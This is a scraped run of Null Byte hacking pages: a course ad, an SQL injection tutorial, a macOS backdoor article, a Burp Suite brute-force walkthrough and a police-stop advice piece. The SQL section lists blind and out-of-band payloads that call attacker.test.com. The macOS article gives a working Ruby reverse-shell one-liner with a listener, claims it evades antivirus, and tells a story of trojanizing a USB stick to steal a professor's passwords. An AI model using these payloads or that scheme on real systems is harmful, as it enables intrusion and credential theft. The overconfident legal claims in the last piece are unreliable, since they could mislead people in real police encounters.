NetworkNews:Nvidia VP Makes Case for Driverless-Friendly Laws at Senate HearingHow To:Apply a Joint Lock Like a MasterNews:Block Cell Phone Signals on the Carrier of Your Choice by Hacking a Radio Frequency JammerKnow Your Rights:How to Escape Unlawful Stops and Police Searches with Social EngineeringNews:Sound TerminologyNews:News Update 2/27/2012How To:This Is A Test About How Audio Frequency WorksNews:The Cosmic ConnectionFormer FBI Agent:Surveillance State Trashing Constitutional ProtectionsNews:WATCH THIS INSTEAD - Grown UpsNews:Space Painting with a Tesla Coil and One Million Volts of ElectricityNews:Grown UpsHow To:Pick Basic Tumbler LocksHow To:Tune in to Your Favorite Radio Station by Just Asking SiriNews:Supreme Court Rules on Police Cell Phone Searches
This Extensive Python Training Is Under $40 Today « Null Byte :: WonderHowTo
Choosing which programming language to learn next can seem like a nearly impossible task, regardless of whether you're a novice developer or a seasoned coding pro with years of experience creating apps and websites. But if you haven't already learned Python, look no further.We've alreadyestablishedwhy Python is an excellent programming language for penetration testers, white-hat hackers, and those in cybersecurity, so we won't repeat ourselves. Instead, check out our post onthe benefits of Python for hackingto read more about why you need to hone your Python skills.In general, Python can be found at the heart of some of the world's most important apps, websites, and networking infrastructures, and theEpic Python Developer Certification Bundlewill teach you everything you need to know for just $39.99. That's $10 less thanthe other Python trainingin the Null Bute Shop.With over 90 hours of expert-led instruction, this 12-course bundle will walk you through both the fundamentals and more advanced elements of this versatile language. The training utilizes real-world examples while teaching you about the countless ways in which Python can be applied in multiple environments.If you're new to the language, start with the introductory module that teaches you about Python basics such as variables, strings, and operators. This course will also introduce you to the various loops and conditional statements that make Python both supremely powerful and uniquely easy to use.From there, you'll be ready to move on to more advanced topics, including how to use Python in a wide range of in-demand data science applications, how to harness the power of Python to create powerful machine learning apps from scratch, how to develop customized networks between both people and companies, and more.There's also extensive training that focuses exclusively on Python's role in pen-testing and white-hat hacking applications — with courses that will teach you how to retaliate against cyberattacks, safeguard networks and server platforms, develop advanced spyware, and more.Add Python to your programming toolkit with the Epic Python Developer Certification Bundle while it's available forjust $39.99— over 95% off its usual price today.Prices are subject to change.Hone Your Python Skills:The Epic Python Developer Certification Bundle for Just $39.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byFabian Grohs/UnsplashRelatedHow to Train Your Python:Part 1, IntroductionHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Become a Big Data Expert with This 10-Course BundleNews:Image Recognition Expected to Generate $40 Billion by 2021How To:The Novice Guide to Teaching Yourself How to Program (Learning Resources Included)How To:Learn Java, C#, Python, Redux & More with This $40 BundleHow To:This Extensive IT Training Bundle Is on Sale for Just $40How To:Tackle Python & AI with This Extensive Training PackageHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Deal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Program methods in PythonHow To:Program full and while loops in PythonHow To:Program slice lists in PythonHow To:Program slices in PythonHow To:Become a Master Problem Solver by Learning Data Analytics at HomeHow To:Do cool things with strings in PythonHow To:Use dictionaries in PythonHow To:Program nesting statements in PythonHow To:Use default parameters in PythonHow To:Program parameters in PythonHow To:Use tuples as parameters in PythonHow To:Program object oriented programs in PythonHow To:Program classes and self in PythonHow To:Program subclasses and superclasses in PythonHow To:Overwrite variables on a subclass in PythonHow To:Create and program constructors in PythonHow To:Import modules into IDLE in PythonHow To:Reload modules in PythonHow To:Get module information in PythonHow To:Read and write lines in files in PythonHow To:Download and install wxPython for PythonHow To:Program raw input in PythonHow To:Save and execute your programs in PythonHow To:Program variables in PythonHow To:Program simple numbers and math calculations in PythonHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorPygame:All You Need to Start Making Games in PythonNews:Learning Python 3.x as I go (Last Updated 6/72012)How To:Learn to Code for Only $40 with LearnableNews:Ball Pythons
SQL Injection 101: Advanced Techniques for Maximum Exploitation « Null Byte :: WonderHowTo
ForSQL injection, the next step afterperforming reconnaissance and gathering informationabout a database is launching an attack. But something seems off .. in the real world, it's usually not quite as simple as passing in a few fragments of SQL code to an input field and seeing all that glorious data displayed right in the browser. This is when more advanced techniques are needed.Categories of SQL InjectionSo far, in theSQL injection basicsandrecon guides, we have only covered one category of SQL injection: in-band. This means that an attacker is able to use the same channel to both inject code and gather data.We saw this with error-based injection where information about the database and error messages were presented to us right in the web application. We also explored union-based attacks in which malicious SQL code was able to be tacked on to legitimate queries to be used to our advantage.Previously:Fingerprint Databases & Perform General Recon for a More Successful SQL InjectionBut what if there is no data returned to us? Most web apps (unless they are poorly designed) aren't configured to display errors to users let alone detailed information about the database. This is what inferential, or blind, SQL injection is.In blind SQL injection, no data is actually transferred between the application and the attacker, so certain techniques need to be employed in order to reconstruct the data. This is usually done bysending different requests and observing the responsesand behavior of the database, which can take much longer but is still just as dangerous as classic injection attacks. The two main types of blind SQL injection are Boolean-based and time-based.Boolean-Based SQL InjectionBoolean-based SQL injection requires an attacker to send a series of Boolean queries to the database server and analyze the results in order to infer the values of any given field. Let's suppose we have found a field that is vulnerable to blind injection and we want to figure out the username. There are a few important functions that we need to understand in order to do this; Most databases use some variation of these:ASCII(character)SUBSTRING(string, start, length)LENGTH(string)The ASCII() function takes a single character and returns theASCII value, returning null if the character is zero. SUBSTRING() takes three parameters: a string, the starting position, and the length of the string, and returns the substring. The LENGTH() function returns the number of characters in a string.Step 1: Craft a Boolean QueryThrough the use of these functions, we can begin testing for the value of the first character, and once that is ascertained, we can move on to the next one, and so on and so forth, until the entire value (in this case, the username) is discovered. Take a look at the following URL, which we know is vulnerable to injection by inserting the trailing single quote:https://exampleurl.com/login.php?id=1'Using Boolean exploitation, we can craft the query to be executed on the server to end up looking like this:SELECT * FROM Users WHERE UserID = '1' AND ASCII(SUBSTRING(username,1,1)) = 97 AND '1' = '1'Let's break this down. Inner functions always execute first, so SUBSTRING() takes the first character of the username string and limits the length to 1; This way, we can go through each character one at a time until we reach the end of the string.Next, the ASCII() function runs with the character we just got as its parameter. The rest of the statement is basically just a conditional that reads: if the ASCII value of this character is equal to 97 (which is "a"), and 1=1 is true (which it always is), then the whole statement is true and we have the right character. If this returns false, then we can increment the ASCII value from 97 to 98, and repeat the process until it returns true.A handy ASCII table can be accessed by typingman asciiin the terminal:If we knew the username was "jsmith," for example, we wouldn't see true returned until we reach 106, the ASCII value for "j." Once we have obtained the first character of the username, we can move on to the next one by repeating this procedure and setting the starting position of SUBSTRING() to 2.Step 2: Distinguish Between True & False ResponsesIn order to be certain that our tests are really returning true, we need a way to differentiate between true values and false values. This can be accomplished by utilizing the following query, which will always return false:SELECT * FROM Users WHERE UserID = '1' AND '1' = '2'Now we can use this as the baseline for false responses, and compare this to our Boolean injections. If the response from the server is different than this baseline, we can be reasonably confident we have obtained a true value.Step 3: Determine When to End the ProcedureThe final thing that needs to be done when testing for Boolean-based injection is determining when to stop, that is, knowing the length of the string. Once we reach a null value (ASCII code 0), then we are either done and have discovered the entire string or the string itself contains a null value. We can figure this out by using the LENGTH() function. Let's say the username we were trying to obtain was "jsmith," then the query could look like this:SELECT * FROM Users WHERE UserID = '1' AND LENGTH(username) = 6 AND '1' = '1'If this returns true, then we have successfully identified the username. If this returns false, then the string contains a null value and we would need to continue the procedure until another null character is discovered.Time-Based SQL InjectionTime-based SQL injection involves sending requests to the database and analyzing server response times in order to deduce information. We can do this by taking advantage of sleep and time delay functions that are utilized in database systems. Like before, we can use the ASCII() and SUBSTRING() functions to aid in enumerating a field along with a new function called SLEEP(). Let's examine the following MySQL query sent to the server:SELECT * FROM Users WHERE UserID = 1 AND IF(ASCII(SUBSTRING(username,1,1)) = 97, SLEEP(10), 'false')Don't Miss:The Essential Newbie's Guide to SQL Injections & Manipulating Data in a MySQL DatabaseThe IF() function takes three parameters: the condition, what returns if the condition is true, and what returns if the condition is false. In this example, we are using the same method that we used for Boolean-based injections as the condition. The whole expression reads like so: if the first character in the username string is "a," then sleep for ten seconds, otherwise return false.We can then increment the ASCII value until we receive a delayed response from the database, thus determining the correct characters in the username. It is important to choose a value in seconds that is long enough to differentiate between normal server response times.MySQL also has a function called BENCHMARK() that can be used in time-based injection attacks. It takes the number of times to execute an expression as its first parameter and the expression itself as the second parameter. For example:SELECT * FROM Users WHERE UserID = 1 AND IF(ASCII(SUBSTRING(username,1,1)) = 97, BENCHMARK(10000000, CURTIME()), 'false')Basically, this states that if the first character of the username is "a"(97), then run CURTIME() ten million times. CURTIME() returns the current time, but the function that's passed here doesn't really matter; It is important, however, to make sure the function runs enough times to have a significant impact.PostgreSQL uses the pg_sleep() function:SELECT * FROM Users WHERE UserID = 1 AND IF(ASCII(SUBSTRING(username,1,1)) = 97, pg_sleep(10), 'false')MS SQL has a similar function, WAIT FOR DELAY, which can be used in a stacked query:SELECT * FROM Users WHERE UserID = 1; WAIT FOR DELAY '00:00:10'Oracle is a bit more challenging, since injecting a sleep function usually needs to be done within aPL/SQLblock. PL/SQL is Oracle's extension for SQL that includes elements of procedural programming language. It is unlikely to occur, but the time-based injection would look like this:BEGIN DBMS_LOCK.SLEEP(15); END;Inferential SQL injection is a tedious, time-consuming process, but a determined attacker can successfully exploit these flaws in order to reveal data that would otherwise be obfuscated.Out-of-Band SQL InjectionThe third main category of SQL injection is out-of-band. These attacks work by retrieving information through alternative channels, such as emails, file systems, HTTP requests, or DNS resolutions. Out-of-band SQL injection is useful once all in-band and blind injection methods have been exhausted.Let's take a look at an example:http://exampleurl.com/product.php?id=1And the resulting SQL query:SELECT * FROM Products WHERE ProductID = 1;Here is what the malicious request would look like in MS SQL:SELECT * FROM Products WHERE ProductID = 1; EXEC master..xp_dirtree '\\attacker.test.com\' --The xp_dirtree stored procedure can be used to list directory contents, and in this example, attacker.test.com is adomain owned by the attacker. Using a stacked query, xp_dirtree executes, and a DNS lookup to attacker.test.com occurs. If the system is vulnerable, the attacker can check DNS logs and view the request.A similar attack exists for Oracle:SELECT * FROM Products WHERE ProductID = 1 || UTL_HTTP.request('http://attacker.test.com/') --UTL_HTTP is a package that allows data to be accessed over HTTP, in this case, from the database to attacker.test.com.Out-of-band SQL injection can prove useful in certain situations, but it is not very common because it requires certain features to be enabled on the database server. Still, it doesn't hurt to be thorough and try it out if other injection methods have failed.Stay Tuned for More SQL InjectionSo far, this series has covered thebasics of SQL injection,methods to fingerprint databases, and advanced techniques to greatly improve the chances of a successful attack. Now that we have all of that under our belt, we can begin to explore signature evasion and ways to avoid detection when performing SQL injection.Next Up:How to Avoid Detection & Bypass Defenses When Using SQL InjectionFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byAkela999/Pixabay; Screenshots by drd_/Null ByteRelatedSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackSQL Injection 101:How to Avoid Detection & Bypass DefensesSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowSQL Injection 101:Common Defense Methods Hackers Should Be Aware OfHow To:SQL Injection Finding Vulnerable Websites..Become an Elite Hacker Part 4:Hacking a Website. [Part 1]How To:SQL Injection! -- Detailed Introduction.How To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Hack websites with SQL injectionHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoogle Dorking:AmIDoinItRite?How To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:Hack websites with SQL injection and WebGoatHow To:Noob's Introductory Guide to Hacking: Where to Get Started?How To:Protect Your PHP Website from SQL Injection HacksNews:Flixist Film School - Editing 101Rock Climbing 101:Basic Tecnhniques
Hacking macOS: How to Hack a MacBook with One Ruby Command « Null Byte :: WonderHowTo
With just one line ofRubycode embedded into a fake PDF, a hacker can remotely control any Mac computer from anywhere in the world. Creating the command is the easy part, but getting the target to open the code is where a hacker will need to get creative.Ruby is just one way to backdoor into a computer running macOS (previously Mac OS X) to gain full control remotely. We've covered one-line commands that usedPython,Tclsh, orBash, but some of the mostpopular exploitation frameworksare written in Ruby, so it's a classic option for newbies.What Is Ruby?When coming up with Ruby, its creator,Yukihiro "Matz" Matsumoto, wanted a programming language that was more powerful than Perl, more object-oriented than Python, and simple in appearance with the potential for very complex functionalities.Much of Ruby's growth can be attributed toRuby on Rails, a popular, full-featured, server-side web application framework for easily building websites. It is for these reasons Ruby is among the topmost popular coding languages in the worldand included in all Macs by default.Based on your coding experience as a penetration tester, Ruby may be a preferred language for tactical engagements. There's no major benefit or disadvantage to using Ruby overPython,Tclsh, orBashto backdoor a Mac, so Ruby is just as good an option as any.Step 1: Start a Netcat ListenerTo start using Ruby as a backdooring mechanism, open a terminal in Kali (or any Unix-based operating system withNetcatinstalled), and use the below Netcat command to start a listener. This is where the target macOS device will connect to when the Ruby command is executed.nc -v -l -p 9999Netcat will open a listening (-l) port on every available interface.If you're working in a local network, the Netcat listener will be available on your local address (e.g.,192.168.0.X). If the listener is started on avirtual private server (VPS), be sure to use the IP address of your VPS in future Ruby commands.The port (-p) number (9999) is arbitrary and can be changed.The verbosity (-v) argument is important here. Without this, when a connection to the target MacBook, Mac Pro, or any other computer running macOS is established, the Netcat terminal will not change. To provide some sort of indication the payload was executed successfully, enable verbosity.Step 2: Use Ruby to Create a BackdoorExecute this in the macOS device to create a backdoor to the Netcat listener:ruby -rsocket -e "c=TCPSocket.new('1.2.3.4','9999');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"This one-liner above will create a TCP socket (TCPSocket.new) and a while loop (while ... end) that says "while there's data coming in, assign it tocmd, run the input as a shell command, and print it back in our terminal (IO.popen(cmd,'r'){|io|c.print io.read})." Essentially, we're telling Ruby to take the command we submit, execute it, interpret the output, and send it back to us ... over and over again until we break the connection to the macOS device.Remember to change the IP address (1.2.3.4) and port number (9999) to match the Netcat listener created in the previous step. This can be a local network IP address or IP address of your VPS. On the attacker's system (as shown below), the Netcat terminal will show a new connection was established.nc -v -l -p 9999 listening on [any] 9999 ... connect to [192.168.1.55] from (UNKNOWN) [192.168.1.31] 50328Situational-awareness andpost-exploitationattacks can begin. If this Ruby command isembedded into a trojanized PDFand run by the target, you will not have root access. In that case, there areseveral ways of gaining privilege access. If Ruby was used tophysically backdoor a macOS device, you'll have root and can begindumping passwords stored in the target's web browsers. Either way, this Ruby command will completelybypass antivirus softwarelikeAvastandAVG.Step 3: Use a Social Engineering AttackSuch payloads can beexecuted using a USB Rubby Duckyor easilyembedded into AppleScriptsand sent to the victim. There are many ways to get the payload to the target, but you'll need to utilize yoursocial engineering skillsto get them to open it.Just as I did with thePython,Tclsh, orBashone-liners, below is a short story that illustrates how easy it would be for a hacker to share a trojanized file, in this case, an AppleScript. While this story is completely fictional and hypothetical, I did test the featured Ruby payload against macOS High Sierra whereAvast antivirus softwarewas installed.The College Professor & the Fake PDFA student at a prestigious university was failing the semester and wanted to change their exam scores to pass the course. The university's website used by professors required an email address and password to modify student grades and information, so the student decided to hack their professor to learn their login credentials and change their grade. To do this, the student crafted severalfake PDFs with AppleScriptand embedded a Ruby payload into each one.ruby -rsocket -e "c=TCPSocket.new('1.2.3.4','9999');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"The student hoped to laterdump passwords stored in the professor's web browserto learn their login credentials.After moving the fake PDFs to the USB, the student arrived at school an hour before anyone else and placed the USB on the professor's desk with a handwritten note.Professor,As per professor Jessica Barker's request, on the USB is the itinerary for this year's academic field trip and the invoices for the expenses. Please review them at your earliest convenience.~David PaciosThe student signed the note as another professor who was likely involved in the university's annual field trip to create a strong sense of legitimacy in the message.Upon arrival, the professor noticed the USB and note on their desk. After inserting the USB and double-clicking the PDFs to review them, nothing appeared to happen as the Ruby payloads executed silently in the background. Confused, the professor opened his Mail application and composed an email message to David.Hey David,The PDFs on this USB don't seem to open. Can you try sending them to me via email? Thanks.~Hacked ProfessorAfter the student gained remote access to the MacBook, hedumped the passwords stored in the Firefox browserto learn the professor's login password and changed his exam scores to a passing grade.Stay Tuned for More One-Liner Payloads ...This is just another example of how hackers, with a single command, are capable of compromising macOS devices — but I'm not done pwning Macs with one command yet. In future articles, I'll continue to show how to use programs that are built into macOS to grant hackers full remote access.Follow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byStartup Stock Photos/PEXELSRelatedHacking macOS:How to Use One Python Command to Bypass Antivirus Software in 5 SecondsMac for Hackers:How to Install RVM to Maintain Ruby Environments in macOSHow To:The Ultimate Guide to Hacking macOSHacking macOS:How to Hack a Mac Password Without Changing ItHacking macOS:How to Remotely Eavesdrop in Real Time Using Anyone's MacBook MicrophoneHacking macOS:How to Install a Persistent Empire Backdoor on a MacBookHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Hacking macOS:How to Create an Undetectable PayloadHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHacking macOS:How to Dump Passwords Stored in Firefox Browsers RemotelyHacking macOS:How to Secretly Livestream Someone's MacBook Screen RemotelyHacking macOS:How to Connect to MacBook Backdoors from Anywhere in the WorldHacking macOS:How to Use One Tclsh Command to Bypass Antivirus ProtectionsHacking macOS:How to Configure a Backdoor on Anyone's MacBookHacking macOS:How to Bypass Mojave's Elevated Privileges Prompt by Pretending to Be a Trusted AppHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 1 (Creating the Stager)Hacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)How To:Bypass Gatekeeper & Exploit macOS 10.14.5 & EarlierHacking macOS:How to Automate Screenshot Exfiltration from a Backdoored MacBookHacking macOS:How to Hack Mojave 10.14 with a Self-Destructing PayloadHacking macOS:How to Break into a MacBook Encrypted with FileVaultHacking macOS:How to Perform Situational Awareness Attacks, Part 2 (Finding Files, History & USB Devices)Mac for Hackers:How to Install the Metasploit FrameworkHacking macOS:How to Dump 1Password, KeePassX & LastPass Passwords in PlaintextHacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)Mac for Hackers:How to Get Your Mac Ready for HackingHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Create a Bootable Install USB Drive of macOS 10.12 SierraMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHacking macOS:How to Hide Payloads Inside Photo MetadataHacking macOS:How to Perform Situational Awareness Attacks, Part 1 (Using System Profiler & ARP)How To:Use SecGen to Generate a Random Vulnerable MachineMac for Hackers:How to Install iTerm2 Using the TerminalHacking macOS:How to Spread Trojans & Pivot to Other Mac ComputersNews:'Messages in iCloud' Finally Available for Macs, Not Just iOS DevicesBasics of Ruby:Part 1 (Data Types/Data Storage)How To:Hack Distributed Ruby with Metasploit & Perform Remote Code ExecutionHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHacking macOS:How to Create a Fake PDF Trojan with AppleScript, Part 2 (Disguising the Script)Hacking macOS:How to Turn Forums into C&C Servers to Control MacBooks
Hack Like a Pro: How to Hack Web Apps, Part 4 (Hacking Form Authentication with Burp Suite) « Null Byte :: WonderHowTo
Welcome back, my tenderfoot hackers!In this series, we are exploring the myriad of ways to hack web applications. As you know, web applications are those apps that run the websites of everything from your next door neighbor, to theall-powerful financial institutionsthat run the world. Each of these applications is vulnerable to attack, but not all in the same way.In the mylast installmentin this series, we examined the ways that web apps authenticate users. Now, with that background, let's begin to examine ways that the web app authentication can be broken.Here we will examine at least one way to break web app authentication.Once again, we will be using the Damn Vulnerable Web Application (DVWA) on our Metasploitable OS with the security setting on high. One of the best tools to crack web authentication isBurp Suite. In previous tutorials, we have used the Burp Suite proxy, but this time we will using the proxy in conjunction with the Burp Intruder capabilities in this Burp Suite of web hacking tools.Please note that brute force attacks will not work against all web forms. Often, the web application will lock you out after a number of failed attempts. Also, this attack is dependent upon having a good password list as the application goes through every possible password looking for a match. With that caveat having been said, brute-forcing web forms is a good place to start in hacking web authentication. Of course, we will look at other forms of breaking authentication in subsequent tutorials.We will be using the free version of Burp Suite that is built into Kali. This free version has some limited capabilities that work well for learning or in a lab, but for real world hacking, you will probably want to buy the Pro version ($299).Step 1: Fire Up Kali and Start MetasploitableLet' start by firing up Kali and starting Metasploitable on another system or VM.Step 2: Open Ice WeaselOnce the Metasploitable system is up and running, let's open Ice Weasel and navigate to the IP address of the Metasploitable system. When we get there, select DVWA, which will open a login screen like that below.Here I have entered my username, OTW, and my password, NullByte.Step 3: Intercept the Login RequestBefore sending the login credentials, make certain that the Burp Suite Proxy intercept is turned on and the proxy setting are set in IceWeasel. Then, when you send the request, the proxy will catch the request like in the screenshot below.Notice that my username and password are in the last line of the login request.Step 4: Send the Request to Burp Suite IntruderNext, we need to send this request to the Burp Suite Intruder. Right-click on this screen and select "Send to Intruder" as seen below.This will open the Intruder. The first screen it will show us is the IP address of the target. It has gathered this information from the intercepted request. If it is wrong, change it here. Also note that it assumes you are using port 80. Once again, if you're attempting authentication on another port or service, change it here, but usually Burp Suite gets it right.Next, click on the "Positions" tab. It will highlight the fields that it believes it needs to use in cracking this authentication form.Since we want to set the positions manually, click the "Clear" button to the far right.Step 5: Set Attack TypeNow, we need to set the attack type. There are four types of attacks in Burp Intruder:1. SniperSingle set of payloads. It targets each payload and places each payload into each position.2. Cluster BombMultiple payload sets. There are different payload sets for each position.3. Pitch ForkMultiple payload sets. There are different payload sets for each position. It iterates through each payload set simultaneously.4. Battering RamSingle set of payloads. It uses a single payload set and runs it through each position.For a more detailed explanation of the differences in these payloads, see the Burp Suite documentation.Although it defaults to "Sniper;" let's select the "Cluster Bomb" attack and then highlight the two fields we want to use in the attack: username and password.Step 6: Set the PayloadsNow, we need to set the two payloads we designated. These are the fields that Intruder will be attacking. Select Payload Set #1 and enter some common usernames that nearly every system has such as "admin," "guest," "systemadmin," "sys," etc.Next we need to set the second payload, in this case, the password. Here we want to use a list of passwords that likely contain the user's password. There are thousands of lists available on the web and many built into Kali. To find those built into Kali, type:kali > locate wordlistsTo load a wordlist, click "Load" and provide the path to the wordlist you want to use. In this case , I loaded the wordlist at/usr/share/wordlists/sql.txt. As you can see below, it's quite a big list and when combined with the number of usernames I'm testing (4), it calculates that the request count will be 4,811,468 (the number of usernames multiplied by the number of passwords). That's quite a few and likely will take some time.Now, go the "Options" tab and make certain that "store requests" and "store responses" are both checked.Finally, go up to the Intruder tab at the top of the menu bar and select "Start attack," which will launch your authentication attack against the web form!Now, a window pops up shows us the requests as they are tried.Step 7: Reading the ResultsHere it's important to note a few things. First, the status column. Note that all the requests in the screenshot are "302" or "found". Also, note that the length of the responses are all uniform (354).That uniform length message would be the uniform bad request response. When a response is of a different length and a different code (200), it will warrant further investigation, as it is likely to have the correct username and password. The filter window between the tabs and the results enables us to find those different status codes and response lengths, rather than going through all 4 million responses manually.As the free version of Burp Suite is throttled, these 4 million possibilities will take quite awhile to iterate through. One of the advantages of the Burp Suite Pro version is that this attack is not throttled, saving you hours, maybe days.Keep coming back, my tenderfoot hackers as we explore the multitude of ways of hacking web apps!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Hack Web Apps, Part 3 (Web-Based Authentication)Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHow To:Leverage a Directory Traversal Vulnerability into Code ExecutionHow To:Hack Facebook & Gmail Accounts Owned by MacOS TargetsHow To:Hack SAML Single Sign-on with Burp SuiteHow To:Generate a Clickjacking Attack with Burp Suite to Steal User ClicksHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)How To:Use Burp & FoxyProxy to Easily Switch Between Proxy SettingsHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Secure Your Facebook Account Using 2FA — Without Making Your Phone Number PublicHow To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeBest Android Antivirus:Avast vs. AVG vs. Kaspersky vs. McAfeeHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsNews:Make Use of Your Bigger Screen with These 12 Tablet-Ready AppsHow To:Set Up Two-Factor Authentication for Your Accounts Using Authy & Other 2FA AppsHow To:Set Up Instagram Recovery Codes So You Can Always Access Your Account with 2FA EnabledHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)How To:Save Custom Shooting Presets in Filmic Pro So You Don't Have to Adjust Settings Later for Similar ShotsNews:New Apple Update Brings Collaboration Features to Pages, Keynote & Numbers AppsNews:New iWork Update Lets You Unlock Password-Protected Documents with Touch IDHack Like a Pro:How to Crack Online Passwords with Tamper Data & THC HydraHow To:iOS 12 Makes 2FA for Third-Party Apps & Websites Easy with Security Code AutoFill from SMS TextsHow to Hack Wi-Fi:Evading an Authentication Proxy Using ICMPTXHow To:The Safest Way to Disable ALL Bloatware on Your Galaxy S10How To:Stop Third-Party Apps You Never Authorized or No Longer Use from Accessing Your Instagram AccountHow To:Lock Apps Using Your Samsung Galaxy S6’s Fingerprint ScannerNews:What to Expect from Null Byte in 2015How To:Add Life to Wallpapers with Filters & EffectsHow To:Use JavaScript Injections to Locally Manipulate the Websites You Visit
Know Your Rights: How to Escape Unlawful Stops and Police Searches with Social Engineering « Null Byte :: WonderHowTo
Law enforcement can make a lot of folks cringe. Too often do we hear on the news, and even experience in our own lives, the unjust way that an unacceptable portion of law enforcement treat the very citizens they are supposed to protect. People's rights are violate each and every day by law enforcement, simply because they are timid and uneducated with the laws of society. This dirty trickery shouldn't be played on harmless citizens under any circumstances.Even the law itself defends the stunts that law enforcement agents pull. Go figure. There are laws out there that specifically state an officer of the law hasnoduty to protect you. They havezeroobligation to defend you, even if an evildoer was shooting arrows in your knee right in front of them. They can just sit and watch without a single negative consequence.I bet this is making you reconsider wasting your time with the police when you have done nothing wrong. At some point or another, most people have been questioned by an officer of the law, and it's almost never a good experience. Never mind the fact that it takes up precious time fromyourday. You are supposed to be out doing things with your life, so fight back! Don't be afraid to lay down thereallaw and refute anything that you don't want to do.RequirementsStrong willGuts to say "NO" to a police officerThe SituationLittle do most people know, you have every right to refuse a search of your persons and property to a police officer. Even if they are pushy, it is just a scare tactic to get what they want. So just stay strong—say NO! As long as you are stern and sound a tad bit angry, the officer will cower into submission. For this to work, we need to be in a situation where we can stress our rights. The next time a cop speaks with you and you don't want to deal with their crap, here's what we do...Say that a police officer has stopped you while you walked to the corner late at night to get some chips and soda for gaming fuel. The scenario should play out something like the following.*Cop stops you*Cop: Where are you headed on foot this late at night?You: The store.Cop: Do you have any weapons on you?You: With all due respect, why does it matter? I've done nothing illegal.Cop: Officer safety is a concern. I'm going to have to conduct a search of your person.You: No. I do not consent to any form of search, and I am no longer speaking with you unless I have my lawyer present. I know my rights. Thank you. Have a great night.At this point, they will probably be shocked that you know your rights and refused a search even after being pressured to do the opposite. They might pressure you by saying that a refusal of a search looks guilty. The bottom line is, in a court of law, saying a civilian refused a search, which is their right as a person, willnotget them in trouble. Trust me.At this point, you can walk home assured that the cop won't bother you again, and is instead probably busting a pot-smoking grandma with glaucoma. Happy hacking everyone!Be a Part of Null Byte!Post to theforumChat onIRCFollow onTwitterCircle onGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto bythenew1776RelatedSocial Engineering:How to Use Persuasion to Compromise a Human TargetHow To:Learn the Secrets of PsychologyHack Like a Pro:How to Spear Phish with the Social Engineering 